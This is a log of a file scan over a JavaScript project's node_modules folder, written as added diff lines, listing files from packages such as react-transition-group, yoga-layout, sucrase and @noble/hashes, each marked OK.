+/scan/node_modules/react-is/cjs/react-is.development.js: OK
+/scan/node_modules/react-is/cjs/react-is.production.min.js: OK
+/scan/node_modules/react-transition-group/Transition/package.json: OK
+/scan/node_modules/react-transition-group/LICENSE: OK
+/scan/node_modules/react-transition-group/dist/react-transition-group.js: OK
+/scan/node_modules/react-transition-group/dist/react-transition-group.min.js: OK
+/scan/node_modules/react-transition-group/config/package.json: OK
+/scan/node_modules/react-transition-group/esm/Transition.js: OK
+/scan/node_modules/react-transition-group/esm/TransitionGroup.js: OK
+/scan/node_modules/react-transition-group/esm/TransitionGroupContext.js: OK
+/scan/node_modules/react-transition-group/esm/SwitchTransition.js: OK
+/scan/node_modules/react-transition-group/esm/index.js: OK
+/scan/node_modules/react-transition-group/esm/utils/SimpleSet.js: OK
+/scan/node_modules/react-transition-group/esm/utils/PropTypes.js: OK
+/scan/node_modules/react-transition-group/esm/utils/reflow.js: OK
+/scan/node_modules/react-transition-group/esm/utils/ChildMapping.js: OK
+/scan/node_modules/react-transition-group/esm/config.js: OK
+/scan/node_modules/react-transition-group/esm/CSSTransition.js: OK
+/scan/node_modules/react-transition-group/esm/ReplaceTransition.js: OK
+/scan/node_modules/react-transition-group/TransitionGroup/package.json: OK
+/scan/node_modules/react-transition-group/TransitionGroupContext/package.json: OK
+/scan/node_modules/react-transition-group/README.md: OK
+/scan/node_modules/react-transition-group/package.json: OK
+/scan/node_modules/react-transition-group/ReplaceTransition/package.json: OK
+/scan/node_modules/react-transition-group/CSSTransition/package.json: OK
+/scan/node_modules/react-transition-group/SwitchTransition/package.json: OK
+/scan/node_modules/react-transition-group/cjs/Transition.js: OK
+/scan/node_modules/react-transition-group/cjs/TransitionGroup.js: OK
+/scan/node_modules/react-transition-group/cjs/TransitionGroupContext.js: OK
+/scan/node_modules/react-transition-group/cjs/SwitchTransition.js: OK
+/scan/node_modules/react-transition-group/cjs/index.js: OK
+/scan/node_modules/react-transition-group/cjs/utils/SimpleSet.js: OK
+/scan/node_modules/react-transition-group/cjs/utils/PropTypes.js: OK
+/scan/node_modules/react-transition-group/cjs/utils/reflow.js: OK
+/scan/node_modules/react-transition-group/cjs/utils/ChildMapping.js: OK
+/scan/node_modules/react-transition-group/cjs/config.js: OK
+/scan/node_modules/react-transition-group/cjs/CSSTransition.js: OK
+/scan/node_modules/react-transition-group/cjs/ReplaceTransition.js: OK
+/scan/node_modules/yoga-layout/README.md: OK
+/scan/node_modules/yoga-layout/package.json: OK
+/scan/node_modules/yoga-layout/binaries/wasm-async-web.js: OK
+/scan/node_modules/yoga-layout/binaries/asmjs-sync.js: OK
+/scan/node_modules/yoga-layout/binaries/asmjs-sync-web.js: OK
+/scan/node_modules/yoga-layout/binaries/wasm-sync-node.js: OK
+/scan/node_modules/yoga-layout/binaries/wasm-sync-web.js: OK
+/scan/node_modules/yoga-layout/binaries/asmjs-async.js: OK
+/scan/node_modules/yoga-layout/binaries/asmjs-sync-node.js: OK
+/scan/node_modules/yoga-layout/binaries/wasm-async-node.js: OK
+/scan/node_modules/yoga-layout/binaries/asmjs-async-node.js: OK
+/scan/node_modules/yoga-layout/binaries/asmjs-async-web.js: OK
+/scan/node_modules/yoga-layout/src/generated/YGEnums.d.js.map: OK
+/scan/node_modules/yoga-layout/src/generated/YGEnums.d.js: OK
+/scan/node_modules/yoga-layout/src/generated/YGEnums.ts: OK
+/scan/node_modules/yoga-layout/src/generated/YGEnums.d.ts: OK
+/scan/node_modules/yoga-layout/src/generated/YGEnums.js: OK
+/scan/node_modules/yoga-layout/src/generated/YGEnums.js.map: OK
+/scan/node_modules/yoga-layout/src/wrapAssembly.d.js.map: OK
+/scan/node_modules/yoga-layout/src/Size.h: OK
+/scan/node_modules/yoga-layout/src/wrapAssembly.d.ts: OK
+/scan/node_modules/yoga-layout/src/Config.h: OK
+/scan/node_modules/yoga-layout/src/wrapAssembly.js: OK
+/scan/node_modules/yoga-layout/src/Node.cpp: OK
+/scan/node_modules/yoga-layout/src/Node.h: OK
+/scan/node_modules/yoga-layout/src/embind.cpp: OK
+/scan/node_modules/yoga-layout/src/Value.h: OK
+/scan/node_modules/yoga-layout/src/wrapAssembly.js.map: OK
+/scan/node_modules/yoga-layout/src/Layout.h: OK
+/scan/node_modules/yoga-layout/src/Config.cpp: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-web.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-web.d.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-node.d.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-web.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-web.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-node.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-node.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-node.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-web.d.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-web.d.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-web.d.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-web.d.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-node.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-node.d.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-web.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-node.d.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-node.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-web.d.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-node.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-web.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-node.d.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-node.d.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-web.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-node.d.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-web.d.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-web.d.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-node.d.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-web.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-web.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-web.d.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-web.d.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-web.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-node.d.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-web.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-node.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-node.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-node.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-web.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-async-node.d.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-node.d.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-node.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-node.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-node.d.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-web.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-node.ts: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-sync-web.d.js.map: OK
+/scan/node_modules/yoga-layout/src/entrypoint/asmjs-async-node.d.js: OK
+/scan/node_modules/yoga-layout/src/entrypoint/wasm-sync-web.d.js: OK
+/scan/node_modules/yoga-layout/src/wrapAssembly.d.js: OK
+/scan/node_modules/flatted/types/index.d.ts: OK
+/scan/node_modules/flatted/LICENSE: OK
+/scan/node_modules/flatted/python/flatted.py: OK
+/scan/node_modules/flatted/esm/index.js: OK
+/scan/node_modules/flatted/golang/README.md: OK
+/scan/node_modules/flatted/golang/pkg/flatted/flatted.go: OK
+/scan/node_modules/flatted/esm.js: OK
+/scan/node_modules/flatted/index.js: OK
+/scan/node_modules/flatted/php/flatted.php: OK
+/scan/node_modules/flatted/README.md: OK
+/scan/node_modules/flatted/package.json: OK
+/scan/node_modules/flatted/min.js: OK
+/scan/node_modules/flatted/es.js: OK
+/scan/node_modules/flatted/cjs/index.js: OK
+/scan/node_modules/flatted/cjs/package.json: OK
+/scan/node_modules/loose-envify/LICENSE: OK
+/scan/node_modules/loose-envify/loose-envify.js: OK
+/scan/node_modules/loose-envify/index.js: OK
+/scan/node_modules/loose-envify/custom.js: OK
+/scan/node_modules/loose-envify/README.md: OK
+/scan/node_modules/loose-envify/package.json: OK
+/scan/node_modules/loose-envify/replace.js: OK
+/scan/node_modules/loose-envify/cli.js: OK
+/scan/node_modules/es-errors/range.js: OK
+/scan/node_modules/es-errors/type.js: OK
+/scan/node_modules/es-errors/LICENSE: OK
+/scan/node_modules/es-errors/test/index.js: OK
+/scan/node_modules/es-errors/CHANGELOG.md: OK
+/scan/node_modules/es-errors/uri.d.ts: OK
+/scan/node_modules/es-errors/range.d.ts: OK
+/scan/node_modules/es-errors/.eslintrc: OK
+/scan/node_modules/es-errors/index.js: OK
+/scan/node_modules/es-errors/README.md: OK
+/scan/node_modules/es-errors/eval.js: OK
+/scan/node_modules/es-errors/package.json: OK
+/scan/node_modules/es-errors/.github/FUNDING.yml: OK
+/scan/node_modules/es-errors/tsconfig.json: OK
+/scan/node_modules/es-errors/type.d.ts: OK
+/scan/node_modules/es-errors/index.d.ts: OK
+/scan/node_modules/es-errors/eval.d.ts: OK
+/scan/node_modules/es-errors/syntax.js: OK
+/scan/node_modules/es-errors/ref.d.ts: OK
+/scan/node_modules/es-errors/syntax.d.ts: OK
+/scan/node_modules/es-errors/ref.js: OK
+/scan/node_modules/es-errors/uri.js: OK
+/scan/node_modules/sucrase/ts-node-plugin/index.js: OK
+/scan/node_modules/sucrase/LICENSE: OK
+/scan/node_modules/sucrase/bin/sucrase: OK
+/scan/node_modules/sucrase/bin/sucrase-node: OK
+/scan/node_modules/sucrase/dist/NameManager.js: OK
+/scan/node_modules/sucrase/dist/types/util/removeMaybeImportAttributes.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/elideImportEquals.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/shouldElideDefaultExport.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/formatTokens.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/isExportFrom.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/getClassInfo.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/getNonTypeIdentifiers.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/isIdentifier.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/getTSImportedNames.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/getIdentifierNames.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/getJSXPragmaInfo.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/getDeclarationInfo.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/isAsyncOperation.d.ts: OK
+/scan/node_modules/sucrase/dist/types/util/getImportExportSpecifierInfo.d.ts: OK
+/scan/node_modules/sucrase/dist/types/Options.d.ts: OK
+/scan/node_modules/sucrase/dist/types/identifyShadowedGlobals.d.ts: OK
+/scan/node_modules/sucrase/dist/types/HelperManager.d.ts: OK
+/scan/node_modules/sucrase/dist/types/cli.d.ts: OK
+/scan/node_modules/sucrase/dist/types/CJSImportProcessor.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/util/whitespace.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/util/charcodes.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/util/identifier.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/plugins/types.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/plugins/flow.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/plugins/typescript.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/plugins/jsx/xhtml.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/plugins/jsx/index.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/traverser/expression.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/traverser/base.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/traverser/lval.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/traverser/util.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/traverser/statement.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/traverser/index.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/tokenizer/state.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/tokenizer/types.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/tokenizer/readWord.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/tokenizer/readWordTree.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/tokenizer/index.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/tokenizer/keywords.d.ts: OK
+/scan/node_modules/sucrase/dist/types/parser/index.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/FlowTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/NumericSeparatorTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/ReactDisplayNameTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/TypeScriptTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/OptionalCatchBindingTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/ESMImportTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/JSXTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/ReactHotLoaderTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/OptionalChainingNullishTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/Transformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/JestHoistTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/CJSImportTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/transformers/RootTransformer.d.ts: OK
+/scan/node_modules/sucrase/dist/types/register.d.ts: OK
+/scan/node_modules/sucrase/dist/types/Options-gen-types.d.ts: OK
+/scan/node_modules/sucrase/dist/types/NameManager.d.ts: OK
+/scan/node_modules/sucrase/dist/types/index.d.ts: OK
+/scan/node_modules/sucrase/dist/types/TokenProcessor.d.ts: OK
+/scan/node_modules/sucrase/dist/types/computeSourceMap.d.ts: OK
+/scan/node_modules/sucrase/dist/util/isExportFrom.js: OK
+/scan/node_modules/sucrase/dist/util/getJSXPragmaInfo.js: OK
+/scan/node_modules/sucrase/dist/util/removeMaybeImportAttributes.js: OK
+/scan/node_modules/sucrase/dist/util/getImportExportSpecifierInfo.js: OK
+/scan/node_modules/sucrase/dist/util/elideImportEquals.js: OK
+/scan/node_modules/sucrase/dist/util/getNonTypeIdentifiers.js: OK
+/scan/node_modules/sucrase/dist/util/isAsyncOperation.js: OK
+/scan/node_modules/sucrase/dist/util/getClassInfo.js: OK
+/scan/node_modules/sucrase/dist/util/getDeclarationInfo.js: OK
+/scan/node_modules/sucrase/dist/util/getIdentifierNames.js: OK
+/scan/node_modules/sucrase/dist/util/getTSImportedNames.js: OK
+/scan/node_modules/sucrase/dist/util/formatTokens.js: OK
+/scan/node_modules/sucrase/dist/util/isIdentifier.js: OK
+/scan/node_modules/sucrase/dist/util/shouldElideDefaultExport.js: OK
+/scan/node_modules/sucrase/dist/Options-gen-types.js: OK
+/scan/node_modules/sucrase/dist/esm/NameManager.js: OK
+/scan/node_modules/sucrase/dist/esm/util/isExportFrom.js: OK
+/scan/node_modules/sucrase/dist/esm/util/getJSXPragmaInfo.js: OK
+/scan/node_modules/sucrase/dist/esm/util/removeMaybeImportAttributes.js: OK
+/scan/node_modules/sucrase/dist/esm/util/getImportExportSpecifierInfo.js: OK
+/scan/node_modules/sucrase/dist/esm/util/elideImportEquals.js: OK
+/scan/node_modules/sucrase/dist/esm/util/getNonTypeIdentifiers.js: OK
+/scan/node_modules/sucrase/dist/esm/util/isAsyncOperation.js: OK
+/scan/node_modules/sucrase/dist/esm/util/getClassInfo.js: OK
+/scan/node_modules/sucrase/dist/esm/util/getDeclarationInfo.js: OK
+/scan/node_modules/sucrase/dist/esm/util/getIdentifierNames.js: OK
+/scan/node_modules/sucrase/dist/esm/util/getTSImportedNames.js: OK
+/scan/node_modules/sucrase/dist/esm/util/formatTokens.js: OK
+/scan/node_modules/sucrase/dist/esm/util/isIdentifier.js: OK
+/scan/node_modules/sucrase/dist/esm/util/shouldElideDefaultExport.js: OK
+/scan/node_modules/sucrase/dist/esm/Options-gen-types.js: OK
+/scan/node_modules/sucrase/dist/esm/TokenProcessor.js: OK
+/scan/node_modules/sucrase/dist/esm/Options.js: OK
+/scan/node_modules/sucrase/dist/esm/identifyShadowedGlobals.js: OK
+/scan/node_modules/sucrase/dist/esm/computeSourceMap.js: OK
+/scan/node_modules/sucrase/dist/esm/CJSImportProcessor.js: OK
+/scan/node_modules/sucrase/dist/esm/index.js: OK
+/scan/node_modules/sucrase/dist/esm/register.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/util/identifier.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/util/whitespace.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/util/charcodes.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/plugins/typescript.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/plugins/types.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/plugins/flow.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/plugins/jsx/xhtml.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/plugins/jsx/index.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/traverser/lval.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/traverser/statement.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/traverser/util.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/traverser/index.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/traverser/base.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/traverser/expression.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/tokenizer/keywords.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/tokenizer/types.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/tokenizer/index.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/tokenizer/state.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/tokenizer/readWordTree.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/tokenizer/readWord.js: OK
+/scan/node_modules/sucrase/dist/esm/parser/index.js: OK
+/scan/node_modules/sucrase/dist/esm/HelperManager.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/JSXTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/ReactDisplayNameTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/OptionalCatchBindingTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/TypeScriptTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/ReactHotLoaderTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/OptionalChainingNullishTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/FlowTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/ESMImportTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/NumericSeparatorTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/JestHoistTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/CJSImportTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/RootTransformer.js: OK
+/scan/node_modules/sucrase/dist/esm/transformers/Transformer.js: OK
+/scan/node_modules/sucrase/dist/esm/cli.js: OK
+/scan/node_modules/sucrase/dist/TokenProcessor.js: OK
+/scan/node_modules/sucrase/dist/Options.js: OK
+/scan/node_modules/sucrase/dist/identifyShadowedGlobals.js: OK
+/scan/node_modules/sucrase/dist/computeSourceMap.js: OK
+/scan/node_modules/sucrase/dist/CJSImportProcessor.js: OK
+/scan/node_modules/sucrase/dist/index.js: OK
+/scan/node_modules/sucrase/dist/register.js: OK
+/scan/node_modules/sucrase/dist/parser/util/identifier.js: OK
+/scan/node_modules/sucrase/dist/parser/util/whitespace.js: OK
+/scan/node_modules/sucrase/dist/parser/util/charcodes.js: OK
+/scan/node_modules/sucrase/dist/parser/plugins/typescript.js: OK
+/scan/node_modules/sucrase/dist/parser/plugins/types.js: OK
+/scan/node_modules/sucrase/dist/parser/plugins/flow.js: OK
+/scan/node_modules/sucrase/dist/parser/plugins/jsx/xhtml.js: OK
+/scan/node_modules/sucrase/dist/parser/plugins/jsx/index.js: OK
+/scan/node_modules/sucrase/dist/parser/traverser/lval.js: OK
+/scan/node_modules/sucrase/dist/parser/traverser/statement.js: OK
+/scan/node_modules/sucrase/dist/parser/traverser/util.js: OK
+/scan/node_modules/sucrase/dist/parser/traverser/index.js: OK
+/scan/node_modules/sucrase/dist/parser/traverser/base.js: OK
+/scan/node_modules/sucrase/dist/parser/traverser/expression.js: OK
+/scan/node_modules/sucrase/dist/parser/tokenizer/keywords.js: OK
+/scan/node_modules/sucrase/dist/parser/tokenizer/types.js: OK
+/scan/node_modules/sucrase/dist/parser/tokenizer/index.js: OK
+/scan/node_modules/sucrase/dist/parser/tokenizer/state.js: OK
+/scan/node_modules/sucrase/dist/parser/tokenizer/readWordTree.js: OK
+/scan/node_modules/sucrase/dist/parser/tokenizer/readWord.js: OK
+/scan/node_modules/sucrase/dist/parser/index.js: OK
+/scan/node_modules/sucrase/dist/HelperManager.js: OK
+/scan/node_modules/sucrase/dist/transformers/JSXTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/ReactDisplayNameTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/OptionalCatchBindingTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/TypeScriptTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/ReactHotLoaderTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/OptionalChainingNullishTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/FlowTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/ESMImportTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/NumericSeparatorTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/JestHoistTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/CJSImportTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/RootTransformer.js: OK
+/scan/node_modules/sucrase/dist/transformers/Transformer.js: OK
+/scan/node_modules/sucrase/dist/cli.js: OK
+/scan/node_modules/sucrase/node_modules/commander/LICENSE: OK
+/scan/node_modules/sucrase/node_modules/commander/CHANGELOG.md: OK
+/scan/node_modules/sucrase/node_modules/commander/typings/index.d.ts: OK
+/scan/node_modules/sucrase/node_modules/commander/index.js: OK
+/scan/node_modules/sucrase/node_modules/commander/Readme.md: OK
+/scan/node_modules/sucrase/node_modules/commander/package.json: OK
+/scan/node_modules/sucrase/README.md: OK
+/scan/node_modules/sucrase/register/tsx-legacy-module-interop.js: OK
+/scan/node_modules/sucrase/register/js.js: OK
+/scan/node_modules/sucrase/register/jsx.js: OK
+/scan/node_modules/sucrase/register/tsx.js: OK
+/scan/node_modules/sucrase/register/index.js: OK
+/scan/node_modules/sucrase/register/ts.js: OK
+/scan/node_modules/sucrase/register/ts-legacy-module-interop.js: OK
+/scan/node_modules/sucrase/package.json: OK
+/scan/node_modules/@noble/hashes/eskdf.d.ts: OK
+/scan/node_modules/@noble/hashes/sha1.js: OK
+/scan/node_modules/@noble/hashes/ripemd160.d.ts: OK
+/scan/node_modules/@noble/hashes/argon2.js.map: OK
+/scan/node_modules/@noble/hashes/sha256.js: OK
+/scan/node_modules/@noble/hashes/argon2.d.ts: OK
+/scan/node_modules/@noble/hashes/_u64.d.ts: OK
+/scan/node_modules/@noble/hashes/_blake.js.map: OK
+/scan/node_modules/@noble/hashes/_md.d.ts: OK
+/scan/node_modules/@noble/hashes/sha1.js.map: OK
+/scan/node_modules/@noble/hashes/hmac.d.ts.map: OK
+/scan/node_modules/@noble/hashes/hmac.js.map: OK
+/scan/node_modules/@noble/hashes/_blake.d.ts.map: OK
+/scan/node_modules/@noble/hashes/pbkdf2.d.ts.map: OK
+/scan/node_modules/@noble/hashes/scrypt.js: OK
+/scan/node_modules/@noble/hashes/scrypt.d.ts.map: OK
+/scan/node_modules/@noble/hashes/blake2s.js: OK
+/scan/node_modules/@noble/hashes/blake2b.d.ts.map: OK
+/scan/node_modules/@noble/hashes/_md.js: OK
+/scan/node_modules/@noble/hashes/LICENSE: OK
+/scan/node_modules/@noble/hashes/_blake.d.ts: OK
+/scan/node_modules/@noble/hashes/crypto.d.ts: OK
+/scan/node_modules/@noble/hashes/sha256.d.ts: OK
+/scan/node_modules/@noble/hashes/scrypt.js.map: OK
+/scan/node_modules/@noble/hashes/sha3.js.map: OK
+/scan/node_modules/@noble/hashes/blake2b.js.map: OK
+/scan/node_modules/@noble/hashes/argon2.js: OK
+/scan/node_modules/@noble/hashes/esm/eskdf.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/sha1.js: OK
+/scan/node_modules/@noble/hashes/esm/ripemd160.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/argon2.js.map: OK
+/scan/node_modules/@noble/hashes/esm/sha256.js: OK
+/scan/node_modules/@noble/hashes/esm/argon2.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/_u64.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/_blake.js.map: OK
+/scan/node_modules/@noble/hashes/esm/_md.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/sha1.js.map: OK
+/scan/node_modules/@noble/hashes/esm/hmac.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/hmac.js.map: OK
+/scan/node_modules/@noble/hashes/esm/_blake.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/pbkdf2.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/scrypt.js: OK
+/scan/node_modules/@noble/hashes/esm/scrypt.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/blake2s.js: OK
+/scan/node_modules/@noble/hashes/esm/blake2b.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/_md.js: OK
+/scan/node_modules/@noble/hashes/esm/_blake.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/crypto.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/sha256.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/scrypt.js.map: OK
+/scan/node_modules/@noble/hashes/esm/sha3.js.map: OK
+/scan/node_modules/@noble/hashes/esm/blake2b.js.map: OK
+/scan/node_modules/@noble/hashes/esm/argon2.js: OK
+/scan/node_modules/@noble/hashes/esm/sha512.js: OK
+/scan/node_modules/@noble/hashes/esm/hmac.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/sha3-addons.js: OK
+/scan/node_modules/@noble/hashes/esm/sha3.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/_assert.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/scrypt.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/_u64.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/eskdf.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/sha3-addons.js.map: OK
+/scan/node_modules/@noble/hashes/esm/_u64.js: OK
+/scan/node_modules/@noble/hashes/esm/blake1.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/sha512.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/sha512.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/blake1.js.map: OK
+/scan/node_modules/@noble/hashes/esm/eskdf.js.map: OK
+/scan/node_modules/@noble/hashes/esm/sha512.js.map: OK
+/scan/node_modules/@noble/hashes/esm/blake2b.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/blake2.js: OK
+/scan/node_modules/@noble/hashes/esm/sha256.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/blake3.js.map: OK
+/scan/node_modules/@noble/hashes/esm/crypto.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/index.js: OK
+/scan/node_modules/@noble/hashes/esm/cryptoNode.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/eskdf.js: OK
+/scan/node_modules/@noble/hashes/esm/blake3.js: OK
+/scan/node_modules/@noble/hashes/esm/_u64.js.map: OK
+/scan/node_modules/@noble/hashes/esm/blake3.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/blake2.d.ts.map: OK
+/scan/node_modules/@noble/hashes/esm/_md.js.map: OK
+/scan/node_modules/@noble/hashes/esm/legacy.js: OK
+/scan/node_modules/@noble/hashes/esm/sha2.d.ts: OK
+/scan/node_modules/@noble/hashes/esm/sha3.d.ts.map: OK
